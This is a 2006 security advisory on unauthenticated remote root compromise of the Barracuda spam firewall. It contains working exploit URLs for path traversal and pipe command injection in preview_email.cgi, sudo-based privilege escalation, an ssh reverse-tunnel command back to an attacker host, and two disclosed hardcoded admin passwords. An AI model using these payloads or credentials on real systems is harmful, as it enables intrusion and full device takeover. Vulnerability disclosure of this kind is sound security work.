Severity: High - Full system compromise possible Date: 04 August 2006 Discovered by: Matthew Hall (matt@ecsc.co.uk) (Credits for original discovery to Greg Sinclair) Discovered on: 03 Aug 2006 Summary: Lack of input sanitisation in the Linux based Barracuda spam firewall web interface allows execution of commands by unauthenticated users. Combined with priviledge elevation techniques, execution of commands as the root user is possible allowing a full system compromise. Details: In a follow-up investigation to bid 19276 - 'Barracuda Vulnerability: Arbitrary File Disclosure [NNL-20060801-02]' by Greg Sinclair, further investigation was performed by the Internet Defence Security Team and several extra vulnerabilities were discovered, which when leveraged with privilege escalation techniques allowed the remote execution of commands as the root user without any authentication. The original discovery by Greg Sinclair showed that it was possible to open arbitrary files, either owned by the user/group 'nobody:nogroup' or with world-read access, through the web interface using a path sanitation vulnerability in preview_email.cgi, e.g: https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp Access to the path '/cgi-bin/preview_email.cgi' does not require any authentication. Using this vulnerability, it is also possible to use the pipe character (|) to redirect the stdout of any programs run, to the stdin of the file open function to print the output of the command back to the web interface, e.g: https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20-la%20/| It was then possible to leverage further privileges, as the user the http daemon runs as (nobody), is granted root level access to several system commands via the use of sudo, e.g: https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../../usr/bin/sudo%20touch%20/foo| (Repeating the previous command should then show that the file 'foo' has been created with root permissions in '/'). The commands allowed (this is not a canonical list) include: mkdir, mv, cp, kill, ls, ln, chown, chmod, rm, echo, cat (aswell as access to several 'wrapper' scripts in /home/emailswitch/code/firmware/current/bin/) Access to such commands as a chown and chmod allowed further privilege escalation by setting the 'suid' bit on several other system programs, which could then be executed through the webinterface, without the use of sudo, and would run with root priviledges. As such, a complete system compromise is possible remotely through the web interface without any authentication. It was also noted in bid 19276 - 'Barracuda Vulnerability: Hardcoded Password [NNL-20060801-01]' a hardcoded 'guest' user password existed, which was 'bnadmin99'. During further investigation it was noted that there was also a hard-coded 'admin' user password (this is the admin user for the web interface), which is only possible to use if the httpd environment variable 'REMOTE_ADDR' equals '127.0.0.1'. If this case is true, then it is possible to login to the web interface as the admin user using the password 'adminbn99'. In order to gain elevated privileges to login to the web interface as the admin user, it is possible to bind a reverse ssh shell which would eventually satisfy the 'remote_addr == localhost' check. It was possible to expose the ssh rsa public key, which then could be copied to a users' '.ssh/authorized_keys2' on a local machine, e.g: https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/cat%20/home/emailswitch/code/config/id_rsa.pub| With the public key in the authorized_keys2 file, it was then possible to initiate the reverse shell from the web interface, e.g: https:///cgi-bin/preview_email.cgi?file=/mail/mlog/../../usr/bin/ssh%20-T%20-i%20/home/emailswitch/code/config/id_rsa%20-R%208080:localhost:443%20@| It was them possible to login to 'https://127.0.0.1:8080/' with the username of 'admin' and password of 'adminbn99' and manage the device as an administrator. It was noted that the original file input sanitation vulnerability seems to have been 'silently' fixed by Barracuda Networks (as of 11pm GMT 03/08/06), which mitigates the attacks above. So far, no advisories or update notices can be found on their website, and the version numbers of the affected software remains the same. Recommendations: We agree with Greg Sinclair's statement that the web interface should never be made accessible from untrusted networks like the Internet. The web interface on the Barracuda Spam Firewall has a history of similar issues, so we believe that it is highly likely that more vulnerabilities will be found in the future.